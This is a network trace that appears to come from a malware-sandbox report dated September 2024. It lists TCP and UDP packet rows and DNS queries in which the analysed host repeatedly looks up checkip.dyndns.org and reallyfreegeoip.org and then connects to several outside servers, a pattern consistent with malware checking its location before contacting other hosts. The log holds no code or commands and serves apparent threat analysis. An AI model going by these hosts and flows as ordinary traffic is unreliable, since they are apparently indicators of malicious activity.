Sep 26, 2024 07:47:22.026988029 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.026989937 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027007103 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027014017 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027024031 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027040958 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027050972 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027060032 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027080059 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027091980 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027096033 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027118921 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027128935 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027137995 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027148008 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027160883 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027170897 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027180910 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027190924 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027209044 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027214050 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027234077 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027247906 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027252913 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027271032 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027278900 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027286053 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027297974 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027317047 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027324915 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027331114 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027343988 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027363062 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027375937 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027378082 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027411938 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027424097 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027439117 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027465105 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027467012 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027475119 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027487040 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027507067 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027512074 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027518988 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027534008 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027545929 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027550936 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027570009 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027576923 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.027582884 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.027612925 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.171686888 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.171746016 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.171756029 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.171766043 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.171791077 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.171813965 CEST	80	49161	66.63.187.123	192.168.2.22
Sep 26, 2024 07:47:22.171915054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.171915054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.171915054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.171915054 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:22.384089947 CEST	49161	80	192.168.2.22	66.63.187.123
Sep 26, 2024 07:47:26.040414095 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:26.045315981 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:26.045387030 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:26.046339035 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:26.051137924 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:27.507050991 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:27.532164097 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:27.538583994 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:27.915045977 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:28.133984089 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:28.134203911 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:28.527138948 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:28.527196884 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:28.527259111 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:28.532008886 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:28.532021999 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:28.994116068 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:28.994204044 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:28.999283075 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:28.999294996 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:28.999654055 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:29.097460985 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:29.139426947 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:30.175244093 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:30.175314903 CEST	443	49163	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:30.175369024 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:30.278748989 CEST	49163	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:30.296354055 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:30.301208019 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:30.613368034 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:30.663621902 CEST	49164	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:30.663693905 CEST	443	49164	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:30.664189100 CEST	49164	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:30.665898085 CEST	49164	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:30.665920019 CEST	443	49164	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:30.823827982 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:30.825961113 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:30.826016903 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:31.178261995 CEST	443	49164	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:31.190510988 CEST	49164	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:31.190546036 CEST	443	49164	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:31.314234018 CEST	443	49164	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:31.314685106 CEST	443	49164	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:31.315290928 CEST	49164	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:31.319283009 CEST	49164	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:31.349323988 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:31.356477976 CEST	80	49162	132.226.8.169	192.168.2.22
Sep 26, 2024 07:47:31.356527090 CEST	49162	80	192.168.2.22	132.226.8.169
Sep 26, 2024 07:47:31.370954037 CEST	49165	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:31.376316071 CEST	80	49165	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:31.376384974 CEST	49165	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:31.376486063 CEST	49165	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:31.381927013 CEST	80	49165	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:32.016647100 CEST	80	49165	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:32.035916090 CEST	49166	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:32.036014080 CEST	443	49166	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:32.036102057 CEST	49166	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:32.036473036 CEST	49166	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:32.036518097 CEST	443	49166	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:32.212268114 CEST	49165	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:32.512459040 CEST	443	49166	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:32.516405106 CEST	49166	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:32.516459942 CEST	443	49166	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:32.638232946 CEST	443	49166	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:32.638328075 CEST	443	49166	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:32.638397932 CEST	49166	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:32.639214993 CEST	49166	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:32.658571959 CEST	49165	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:32.670047998 CEST	80	49165	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:32.670140982 CEST	49165	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:32.709244013 CEST	49167	80	192.168.2.22	158.101.44.242
Sep 26, 2024 07:47:32.716104984 CEST	80	49167	158.101.44.242	192.168.2.22
Sep 26, 2024 07:47:32.716177940 CEST	49167	80	192.168.2.22	158.101.44.242
Sep 26, 2024 07:47:32.716286898 CEST	49167	80	192.168.2.22	158.101.44.242
Sep 26, 2024 07:47:32.721764088 CEST	80	49167	158.101.44.242	192.168.2.22
Sep 26, 2024 07:47:33.318691969 CEST	80	49167	158.101.44.242	192.168.2.22
Sep 26, 2024 07:47:33.340650082 CEST	49168	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:33.340681076 CEST	443	49168	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:33.340749025 CEST	49168	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:33.341217041 CEST	49168	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:33.341228962 CEST	443	49168	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:33.522644043 CEST	49167	80	192.168.2.22	158.101.44.242
Sep 26, 2024 07:47:33.810532093 CEST	443	49168	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:33.860133886 CEST	49168	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:33.860146046 CEST	443	49168	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:33.967493057 CEST	443	49168	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:33.967576981 CEST	443	49168	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:33.967737913 CEST	49168	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:33.970839977 CEST	49168	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:34.030128002 CEST	49167	80	192.168.2.22	158.101.44.242
Sep 26, 2024 07:47:34.035480022 CEST	80	49167	158.101.44.242	192.168.2.22
Sep 26, 2024 07:47:34.035552025 CEST	49167	80	192.168.2.22	158.101.44.242
Sep 26, 2024 07:47:34.100675106 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:34.105541945 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:34.105604887 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:34.108732939 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:34.113549948 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:36.902781963 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:36.928631067 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:36.934495926 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:38.056256056 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:38.070630074 CEST	49170	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:38.070658922 CEST	443	49170	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:38.070718050 CEST	49170	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:38.071300983 CEST	49170	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:38.071314096 CEST	443	49170	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:38.265127897 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:38.455374002 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:38.455528021 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:38.545120955 CEST	443	49170	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:38.547957897 CEST	49170	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:38.547969103 CEST	443	49170	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:38.685422897 CEST	443	49170	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:38.685522079 CEST	443	49170	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:38.685614109 CEST	49170	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:38.686180115 CEST	49170	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:38.700184107 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:38.705286026 CEST	80	49169	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:38.705449104 CEST	49169	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:38.728061914 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:38.732878923 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:47:38.732944012 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:38.733093023 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:38.737900972 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:47:39.400791883 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:47:39.416209936 CEST	49172	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:39.416249990 CEST	443	49172	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:39.416328907 CEST	49172	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:39.416757107 CEST	49172	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:39.416771889 CEST	443	49172	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:39.606636047 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:40.517016888 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:47:40.517060041 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:47:40.517291069 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:40.517291069 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:40.517472029 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:47:40.519285917 CEST	49171	80	192.168.2.22	132.226.247.73
Sep 26, 2024 07:47:40.519325972 CEST	443	49172	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:40.522463083 CEST	49172	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:40.522485971 CEST	443	49172	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:40.671658039 CEST	443	49172	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:40.671770096 CEST	443	49172	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:40.671968937 CEST	49172	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:40.672388077 CEST	49172	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:40.710793018 CEST	49173	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:40.715923071 CEST	80	49173	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:40.716034889 CEST	49173	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:40.716159105 CEST	49173	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:40.721157074 CEST	80	49173	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:41.426959991 CEST	80	49173	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:41.442573071 CEST	49174	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:41.442665100 CEST	443	49174	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:41.442740917 CEST	49174	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:41.443169117 CEST	49174	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:41.443192959 CEST	443	49174	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:41.634669065 CEST	49173	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:42.041104078 CEST	443	49174	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:42.087415934 CEST	49174	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:42.087451935 CEST	443	49174	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:42.209661007 CEST	443	49174	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:42.209779978 CEST	443	49174	188.114.97.3	192.168.2.22
Sep 26, 2024 07:47:42.209820986 CEST	49174	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:42.210505962 CEST	49174	443	192.168.2.22	188.114.97.3
Sep 26, 2024 07:47:42.345627069 CEST	49173	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:42.350918055 CEST	80	49173	193.122.6.168	192.168.2.22
Sep 26, 2024 07:47:42.350981951 CEST	49173	80	192.168.2.22	193.122.6.168
Sep 26, 2024 07:47:42.374087095 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:42.379096031 CEST	80	49175	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:42.379174948 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:42.379395962 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:42.384222984 CEST	80	49175	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:42.836105108 CEST	80	49175	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:42.855077028 CEST	49176	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:42.855113029 CEST	443	49176	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:42.855173111 CEST	49176	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:42.855561972 CEST	49176	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:42.855576038 CEST	443	49176	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:43.038705111 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:43.041966915 CEST	80	49175	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:43.042145014 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:43.314774036 CEST	443	49176	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:43.317703009 CEST	49176	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:43.317748070 CEST	443	49176	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:43.563654900 CEST	443	49176	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:43.563741922 CEST	443	49176	188.114.96.3	192.168.2.22
Sep 26, 2024 07:47:43.563791037 CEST	49176	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:43.565893888 CEST	49176	443	192.168.2.22	188.114.96.3
Sep 26, 2024 07:47:43.600410938 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:43.605633020 CEST	80	49175	193.122.130.0	192.168.2.22
Sep 26, 2024 07:47:43.605710983 CEST	49175	80	192.168.2.22	193.122.130.0
Sep 26, 2024 07:47:43.626473904 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:43.626506090 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:43.626698017 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:43.627373934 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:43.627393007 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.250016928 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.250190020 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:44.255099058 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:44.255104065 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.255395889 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.258377075 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:44.303401947 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.491128922 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.491305113 CEST	443	49177	149.154.167.220	192.168.2.22
Sep 26, 2024 07:47:44.491503000 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:47:44.491878033 CEST	49177	443	192.168.2.22	149.154.167.220
Sep 26, 2024 07:48:44.401571035 CEST	80	49171	132.226.247.73	192.168.2.22
Sep 26, 2024 07:48:44.401684999 CEST	49171	80	192.168.2.22	132.226.247.73

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 26, 2024 07:47:26.010523081 CEST	54562	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:26.016881943 CEST	53	54562	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:26.025199890 CEST	52917	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:26.031714916 CEST	53	52917	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:28.514981031 CEST	62751	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:28.526055098 CEST	53	62751	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:31.355317116 CEST	57893	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:31.361742020 CEST	53	57893	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:31.364027977 CEST	54821	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:31.370608091 CEST	53	54821	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:32.023408890 CEST	54719	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:32.034898043 CEST	53	54719	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:32.676175117 CEST	49881	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:32.682720900 CEST	53	49881	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:32.700567007 CEST	54998	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:32.708744049 CEST	53	54998	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:33.328042984 CEST	52781	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:33.340104103 CEST	53	52781	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:34.042360067 CEST	63926	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:34.048654079 CEST	53	63926	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:34.093873024 CEST	65510	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:34.100194931 CEST	53	65510	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:38.063040972 CEST	62672	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:38.070183039 CEST	53	62672	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:38.706492901 CEST	56475	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:38.712769985 CEST	53	56475	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:38.714905024 CEST	49384	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:38.721246004 CEST	53	49384	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:38.721400976 CEST	49384	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:38.727744102 CEST	53	49384	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:39.407860041 CEST	54842	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:39.415088892 CEST	53	54842	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:40.695564032 CEST	58105	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:40.701773882 CEST	53	58105	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:40.703967094 CEST	64928	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:40.710437059 CEST	53	64928	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:41.435216904 CEST	57390	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:41.442218065 CEST	53	57390	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:42.356520891 CEST	58095	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:42.363111973 CEST	53	58095	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:42.367121935 CEST	54261	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:42.373533010 CEST	53	54261	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:42.843437910 CEST	60507	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:42.854585886 CEST	53	60507	8.8.8.8	192.168.2.22
Sep 26, 2024 07:47:43.619407892 CEST	50446	53	192.168.2.22	8.8.8.8
Sep 26, 2024 07:47:43.625776052 CEST	53	50446	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 26, 2024 07:47:26.010523081 CEST	192.168.2.22	8.8.8.8	0x4c92	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:26.025199890 CEST	192.168.2.22	8.8.8.8	0x8a11	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:28.514981031 CEST	192.168.2.22	8.8.8.8	0x8ccd	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.355317116 CEST	192.168.2.22	8.8.8.8	0x7da1	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:31.364027977 CEST	192.168.2.22	8.8.8.8	0x9614	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.023408890 CEST	192.168.2.22	8.8.8.8	0xd76f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Sep 26, 2024 07:47:32.676175117 CEST	192.168.2.22	8.8.8.8	0x8778	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
